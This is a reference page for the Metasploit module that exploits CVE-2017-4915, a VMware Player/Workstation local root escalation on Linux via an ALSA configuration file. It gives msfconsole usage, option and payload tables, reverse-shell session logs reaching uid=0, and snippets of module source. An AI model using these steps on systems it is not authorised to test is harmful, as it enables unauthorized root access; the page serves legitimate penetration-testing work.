VMware Workstation ALSA Config File Local Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/local/vmware_alsa_config metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: VMware Workstation ALSA Config File Local Privilege Escalation
Module: exploit/linux/local/vmware_alsa_config
Source code: modules/exploits/linux/local/vmware_alsa_config.rb
Disclosure date: 2017-05-22
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-4915

This module exploits a vulnerability in VMware Workstation Pro and Player on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card. This module has been tested successfully on VMware Player version 12.5.0 on Debian Linux 8 Jessie.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/vmware_alsa_config
msf exploit(vmware_alsa_config) > show targets
    ... a list of targets ...
msf exploit(vmware_alsa_config) > set TARGET target-id
msf exploit(vmware_alsa_config) > show options
    ... show and set options ...
msf exploit(vmware_alsa_config) > set SESSION session-id
msf exploit(vmware_alsa_config) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module exploits a vulnerability in VMware Workstation Pro and Player on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card.

Vulnerable Application


VMware Workstation Pro and VMware Workstation Player are the industry standard for running multiple operating systems as virtual machines on a single PC. Thousands of IT professionals, developers and businesses use Workstation Pro and Workstation Player to be more agile, more productive and more secure every day.

This module has been tested successfully on:

  • VMware Player version 12.5.0 on Debian Linux 8 Jessie

Verification Steps


  1. Start msfconsole
  2. Get a session
  3. Do: use exploit/linux/local/vmware_alsa_config
  4. Do: set SESSION [SESSION]
  5. Do: check
  6. Do: run
  7. You should get a new root session

Options


SESSION

Which session to use, which can be viewed with sessions

WritableDir

A writable directory file system path. (default: /tmp)

Xdisplay

Display exploit will attempt to use (default: :0)

Scenarios


Command Shell Session - VMware Player 12.5.0 (Debian 8 Jessie)

  msf5 > use exploit/linux/local/vmware_alsa_config 
  msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188
  lhost => 172.16.191.188
  msf5 exploit(linux/local/vmware_alsa_config) > set session 1
  session => 1
  msf5 exploit(linux/local/vmware_alsa_config) > run

  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [*] Writing '/tmp/pSvQHD5S5fh/afLaYVIoUm.so.c' (526 bytes) ...
  [*] Writing '/tmp/pSvQHD5S5fh/pSvQHD5S5fh.vmx' (560 bytes) ...
  [*] Writing '/tmp/pSvQHD5S5fh/jl7XmpZWdE' (964720 bytes) ...
  [*] Writing '/home/user/.asoundrc' (116 bytes) ...
  [*] Launching VMware Player...
  [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57796) at 2018-12-17 02:43:22 -0500
  [+] Deleted /home/user/.asoundrc
  [+] Deleted /home/user/Desktop/~/.vmware/preferences
  [!] Attempting to delete working directory /tmp/pSvQHD5S5fh
  [-] Exploit failed: negative array size (or size too big)

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : 172.16.191.208
  OS           : Debian 8.8 (Linux 3.16.0-4-amd64)
  Architecture : x64
  BuildTuple   : x86_64-linux-musl
  Meterpreter  : x64/linux
  meterpreter > 

Meterpreter Session - VMware Player 12.5.0 (Debian 8 Jessie)

  msf5 > use exploit/linux/local/vmware_alsa_config 
  msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188
  lhost => 172.16.191.188
  msf5 exploit(linux/local/vmware_alsa_config) > set session 1
  session => 1
  msf5 exploit(linux/local/vmware_alsa_config) > run

  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [*] Writing '/tmp/5irkXF31Iw/GHAPsWBkjix.so.c' (527 bytes) ...
  [*] Writing '/tmp/5irkXF31Iw/5irkXF31Iw.vmx' (558 bytes) ...
  [*] Writing '/tmp/5irkXF31Iw/Rxqj9taEcXol' (964720 bytes) ...
  [*] Writing '/home/user/.asoundrc' (116 bytes) ...
  [*] Launching VMware Player...
  [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57799) at 2018-12-17 02:46:39 -0500

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : 172.16.191.208
  OS           : Debian 8.8 (Linux 3.16.0-4-amd64)
  Architecture : x64
  BuildTuple   : x86_64-linux-musl
  Meterpreter  : x64/linux
  meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the linux/local/vmware_alsa_config exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/vmware_alsa_config

[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(linux/local/vmware_alsa_config) > show info

       Name: VMware Workstation ALSA Config File Local Privilege Escalation
     Module: exploit/linux/local/vmware_alsa_config
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-22

Provided by:
  Jann Horn
  bcoles <[email protected]>

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Linux x86
  1   Linux x64

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  This module exploits a vulnerability in VMware Workstation Pro and 
  Player on Linux which allows users to escalate their privileges by 
  using an ALSA configuration file to load and execute a shared object 
  as root when launching a virtual machine with an attached sound 
  card. This module has been tested successfully on VMware Player 
  version 12.5.0 on Debian Linux 8 Jessie.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-4915
  https://www.exploit-db.com/exploits/42045
  http://www.securityfocus.com/bid/98566
  https://www.securitytracker.com/id/1038525
  https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9
  https://www.vmware.com/security/advisories/VMSA-2017-0009.html
  https://bugs.chromium.org/p/project-zero/issues/detail?id=1142

Module Options


This is a complete list of options available in the linux/local/vmware_alsa_config exploit:

msf6 exploit(linux/local/vmware_alsa_config) > show options

Module options (exploit/linux/local/vmware_alsa_config):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (linux/x64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Linux x64

Advanced Options


Here is a complete list of advanced options supported by the linux/local/vmware_alsa_config exploit:

msf6 exploit(linux/local/vmware_alsa_config) > show advanced

Module advanced options (exploit/linux/local/vmware_alsa_config):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                30               no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files
   Xdisplay                :0               yes       Display exploit will attempt to use

Payload advanced options (linux/x64/meterpreter_reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/vmware_alsa_config module can exploit:

msf6 exploit(linux/local/vmware_alsa_config) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux x86
   1   Linux x64

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/vmware_alsa_config exploit:

msf6 exploit(linux/local/vmware_alsa_config) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   4   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   5   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   6   payload/linux/x64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/x64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/x64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   10  payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   11  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   12  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   13  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   14  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   15  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/vmware_alsa_config exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/vmware_alsa_config) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PATH>.c failed to compile


Here is a relevant code snippet related to the "<PATH>.c failed to compile" error message:

111:	
112:	    output = cmd_exec gcc_cmd
113:	
114:	    unless output.blank?
115:	      print_error output
116:	      fail_with Failure::Unknown, "#{path}.c failed to compile"
117:	    end
118:	
119:	    register_file_for_cleanup path
120:	    chmod path
121:	  end

vmplayer is not installed. Exploitation will fail.


Here is a relevant code snippet related to the "vmplayer is not installed. Exploitation will fail." error message:

120:	    chmod path
121:	  end
122:	
123:	  def check
124:	    unless command_exists? '/usr/bin/vmplayer'
125:	      print_error 'vmplayer is not installed. Exploitation will fail.'
126:	      return CheckCode::Safe
127:	    end
128:	    vprint_good 'vmplayer is installed'
129:	
130:	    unless has_gcc?

gcc is not installed. Compiling will fail.


Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:

126:	      return CheckCode::Safe
127:	    end
128:	    vprint_good 'vmplayer is installed'
129:	
130:	    unless has_gcc?
131:	      print_error 'gcc is not installed. Compiling will fail.'
132:	      return CheckCode::Safe
133:	    end
134:	    vprint_good 'gcc is installed'
135:	
136:	    config = read_file('/etc/vmware/config') rescue ''

Could not determine VMware version.


Here is a relevant code snippet related to the "Could not determine VMware version." error message:

136:	    config = read_file('/etc/vmware/config') rescue ''
137:	    if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
138:	      version = Rex::Version.new $1.gsub(/\.$/, '')
139:	      vprint_status "VMware is version #{version}"
140:	    else
141:	      vprint_error 'Could not determine VMware version.'
142:	      return CheckCode::Detected
143:	    end
144:	
145:	    if version >= Rex::Version.new('12.5.6')
146:	      vprint_error 'Target version is not vulnerable'

Target version is not vulnerable


Here is a relevant code snippet related to the "Target version is not vulnerable" error message:

141:	      vprint_error 'Could not determine VMware version.'
142:	      return CheckCode::Detected
143:	    end
144:	
145:	    if version >= Rex::Version.new('12.5.6')
146:	      vprint_error 'Target version is not vulnerable'
147:	      return CheckCode::Safe
148:	    end
149:	
150:	    CheckCode::Appears
151:	  end

Session already has root privileges. Set ForceExploit to override.


Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

151:	  end
152:	
153:	  def exploit
154:	    if is_root?
155:	      unless datastore['ForceExploit']
156:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
157:	      end
158:	    end
159:	
160:	    unless writable? base_dir
161:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"

<BASE_DIR> is not writable


Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

156:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
157:	      end
158:	    end
159:	
160:	    unless writable? base_dir
161:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
162:	    end
163:	
164:	    home_dir = cmd_exec 'PATH=$PATH:/usr/bin getent passwd `id -un` | cut -d: -f6'
165:	    if home_dir.blank?
166:	      fail_with Failure::Unknown, "Could not find user's home directory"

Could not find user's home directory


Here is a relevant code snippet related to the "Could not find user's home directory" error message:

161:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
162:	    end
163:	
164:	    home_dir = cmd_exec 'PATH=$PATH:/usr/bin getent passwd `id -un` | cut -d: -f6'
165:	    if home_dir.blank?
166:	      fail_with Failure::Unknown, "Could not find user's home directory"
167:	    end
168:	
169:	    unless writable? home_dir
170:	      fail_with Failure::BadConfig, "#{home_dir} is not writable"
171:	    end

<HOME_DIR> is not writable


Here is a relevant code snippet related to the "<HOME_DIR> is not writable" error message:

165:	    if home_dir.blank?
166:	      fail_with Failure::Unknown, "Could not find user's home directory"
167:	    end
168:	
169:	    unless writable? home_dir
170:	      fail_with Failure::BadConfig, "#{home_dir} is not writable"
171:	    end
172:	
173:	    # Create a directory for the virtual machine and associated files
174:	    vmx_name = rand_text_alphanumeric(10..15)
175:	    vm_dir = "#{base_dir}/#{vmx_name}"

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Jann Horn
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.